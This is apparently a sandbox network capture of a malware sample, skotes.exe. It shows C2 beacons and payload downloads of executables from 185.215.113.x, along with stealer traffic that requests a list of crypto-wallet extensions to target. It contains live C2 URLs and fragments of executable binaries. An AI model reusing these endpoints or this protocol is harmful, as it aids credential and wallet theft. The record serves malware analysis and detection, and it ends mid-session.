Nov 24, 2024 14:24:48.191981077 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 35 36 62 30 32 35 32 62 62 32 61 63 32 35 32 30 62 38 31 30 63 37 64 65 63 39 35 65 34 32 30 39 63 61 66 35 37 64 31 66 66 34 35 33 39 63 64 64 34 66 30 64 30 39 35 36 31 31 62 32 37 62 31 37 35 38 36 31 38 32 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="token"c456b0252bb2ac2520b810c7dec95e4209caf57d1ff4539cdd4f0d095611b27b17586182------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="message"fplugins------FCBAEHCAEGDHJKFHJKFI--
Nov 24, 2024 14:24:48.639461994 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 24, 2024 14:24:48.705672979 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHCFIDAKJEBGCAFBAE Host: 185.215.113.206 Content-Length: 6103 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 14:24:48.705775023 CET	6103	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 43 46 49 44 41 4b 4a 45 42 47 43 41 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 35 36 62 30 Data Ascii: ------AEGHCFIDAKJEBGCAFBAEContent-Disposition: form-data; name="token"c456b0252bb2ac2520b810c7dec95e4209caf57d1ff4539cdd4f0d095611b27b17586182------AEGHCFIDAKJEBGCAFBAEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 24, 2024 14:24:49.817526102 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 14:24:50.208554029 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 14:24:50.674305916 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 24, 2024 14:24:50.674418926 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 24, 2024 14:24:50.678498983 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 24, 2024 14:24:50.678610086 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49857	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:45.606971025 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008764001&unit=246122658369
Nov 24, 2024 14:24:46.988877058 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:24:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49862	185.215.113.16	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:47.334886074 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 14:24:48.775473118 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:24:48 GMT Content-Type: application/octet-stream Content-Length: 921600 Last-Modified: Sun, 24 Nov 2024 12:32:47 GMT Connection: keep-alive ETag: "67431cef-e1000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e7 1c 43 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 60 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELCg"`w@p@@@d\|@<u4@.text `.rdata@@.datalpH@.rsrc<@@@.relocuv@B
Nov 24, 2024 14:24:48.775536060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 24, 2024 14:24:48.775552034 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 24, 2024 14:24:48.775613070 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Nov 24, 2024 14:24:48.775628090 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Nov 24, 2024 14:24:48.775645018 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Nov 24, 2024 14:24:48.775672913 CET	776	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Nov 24, 2024 14:24:48.775690079 CET	1236	IN	Data Raw: f0 13 4d 00 e8 59 40 00 00 8a 5c 24 11 ff 35 00 14 4d 00 68 18 14 4d 00 e8 be f1 ff ff 85 c0 0f 85 61 00 04 00 80 7c 24 12 01 0f 84 73 00 04 00 e8 59 00 00 00 e8 34 01 00 00 80 3d 04 14 4d 00 00 bb 90 19 4d 00 75 07 8b cb e8 f3 0c 00 00 57 b9 30 Data Ascii: MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]U4SVWj<Ihj8I54Ijc5XMh5XMMh5XMM3MVjjjj
Nov 24, 2024 14:24:48.775697947 CET	1236	IN	Data Raw: fa 78 00 00 8d 45 f0 83 ee 02 50 8d 4d 90 e8 a8 00 00 00 39 1d 1c 14 4d 00 0f 84 8d fd 03 00 85 f6 0f 88 a5 fd 03 00 8b 4d 0c e8 f3 33 00 00 8d 4e 01 8b f8 51 6a 01 57 e8 4a 3a 00 00 83 c4 0c 89 75 e0 33 c0 89 5d e8 40 89 45 ec 53 50 8d 45 e0 50 Data Ascii: xEPM9MM3NQjWJ:u3]@ESPEPW@Mt~5EPML?CESjPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2
Nov 24, 2024 14:24:48.775707960 CET	1236	IN	Data Raw: 89 1d ac 23 4d 00 89 1d b0 23 4d 00 89 1d b4 23 4d 00 c7 05 b8 23 4d 00 44 c9 49 00 89 1d bc 23 4d 00 89 1d c0 23 4d 00 89 1d c4 23 4d 00 a3 c8 23 4d 00 89 1d cc 23 4d 00 89 1d d0 23 4d 00 89 1d d4 23 4d 00 89 1d dc 23 4d 00 c7 05 e0 23 4d 00 3c Data Ascii: #M#M#M#MDI#M#M#M#M#M#M#M#M#M<I#M#M#M#MfNtL$(>T$(0h(IL$,D$(#MPL$tL$mqD$3PjVhIhIL$cL$(c_^#M
Nov 24, 2024 14:24:48.895384073 CET	1236	IN	Data Raw: 65 13 4d 00 00 0f 85 4d fa 03 00 83 7e 60 00 0f 85 27 fa 03 00 68 f0 13 4d 00 8d 4c 24 0c e8 bc 29 00 00 be a8 03 00 00 8d 84 24 28 01 00 00 56 6a 00 50 e8 97 e9 01 00 a1 8c 13 4d 00 8d 4c 24 24 8b 54 24 14 83 c4 0c 89 b4 24 18 01 00 00 33 f6 46 Data Ascii: eMM~`'hML$)$(VjPML$$T$$3F$$ h$(2YD$P$4PYY$PVIL$\|^^]UVuWtFPRW3fDw_^]UQM;sH]PU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49877	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:53.059163094 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008765001&unit=246122658369
Nov 24, 2024 14:24:54.469780922 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:24:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49888	185.215.113.16	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:54.595345020 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 14:24:55.985833883 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:24:55 GMT Content-Type: application/octet-stream Content-Length: 2814976 Last-Modified: Sun, 24 Nov 2024 12:33:14 GMT Connection: keep-alive ETag: "67431d0a-2af400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 45 cc 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +E+`Ui` @ @.rsrc`2@.idata 8@tcknjbhw*:@pazbjnlm @+@.taggant@`+"*@
Nov 24, 2024 14:24:55.985907078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:55.985924006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:55.985940933 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:55.985976934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:55.986043930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:55.986062050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:55.986099958 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:55.986115932 CET	1236	IN	Data Raw: 80 1e 5f 1c af 7b de 3c 57 1c 8a 11 99 08 e7 7d 4e 5b a1 43 e8 6e 67 98 56 d4 c1 4d 36 70 64 00 d9 e7 0f c7 e6 8f ad 36 bb ee 50 d8 43 1e 43 26 ea 26 4c b0 bb 9a ec b9 49 8e 73 fd 35 1f a0 2d 3f 3e 2c 40 c0 4a 71 98 40 ea 6a 63 fe 57 09 cb bd 69 Data Ascii: _{<W}N[CngVM6pd6PCC&&LIs5-?>,@Jq@jcWiYAr9yFR6`3X~~8a\z6'aPd5?j?0mpe`7O.Ns.c2SxLTTF8X:rF/$PJ3e7R4t6hd07&ZbpbXMsm3;`TChO4kkv>]df
Nov 24, 2024 14:24:55.986135006 CET	1236	IN	Data Raw: 5d 59 a1 1d 9d 7b 3a f3 26 3e 83 12 6f 3f 38 23 7e 4a a9 10 8a 60 7c 08 77 d5 8e 3e 83 d6 a5 30 74 28 99 ec cc 00 7c 21 8a 99 f4 93 1a b9 da 22 80 98 b1 f6 ac fe 63 0b 7d ce ac 81 ec 89 89 ff 95 2c a0 c9 7a 31 99 60 ed 19 da fc 7a 43 3f 0e 88 2f Data Ascii: ]Y{:&>o?8#~J`\|w>0t(\|!"c},z1`zC?/sx\|<;.kTM/1wW16n*t#,zR\|kb}i7l=^i~$Io3/>RU{ygH^rRh'ZXj'MW[{j
Nov 24, 2024 14:24:56.105555058 CET	776	IN	Data Raw: 7c ea 3b ca 3e c8 33 1a aa 0d 37 a9 81 2b af c5 50 46 14 18 01 c1 c3 4d 82 30 23 5b ee 6d 3a f1 71 43 39 c2 43 1b 8d f0 9e 7b 67 16 8e 45 5a 57 d2 9a 42 5c bd 4e 9c 6c 79 88 50 ec 2c 28 fc a4 45 32 33 20 57 29 8c 14 d3 a9 a1 e7 73 7b a0 b2 51 31 Data Ascii: \|;>37+PFM0#[m:qC9C{gEZWB\NlyP,(E23 W)s{Q14!H20qgRT$Ok>ZB:J39;q#YK_df@sp_GSKz>cbJ1,s@~- K@oCfBv\|I/WXQKVf6,LbOJ^*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49921	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:03.507052898 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008766001&unit=246122658369
Nov 24, 2024 14:25:04.814920902 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49932	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:06.550605059 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:25:07.937553883 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49942	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:25:09.604540110 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:25:10.992835045 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:25:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49955	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
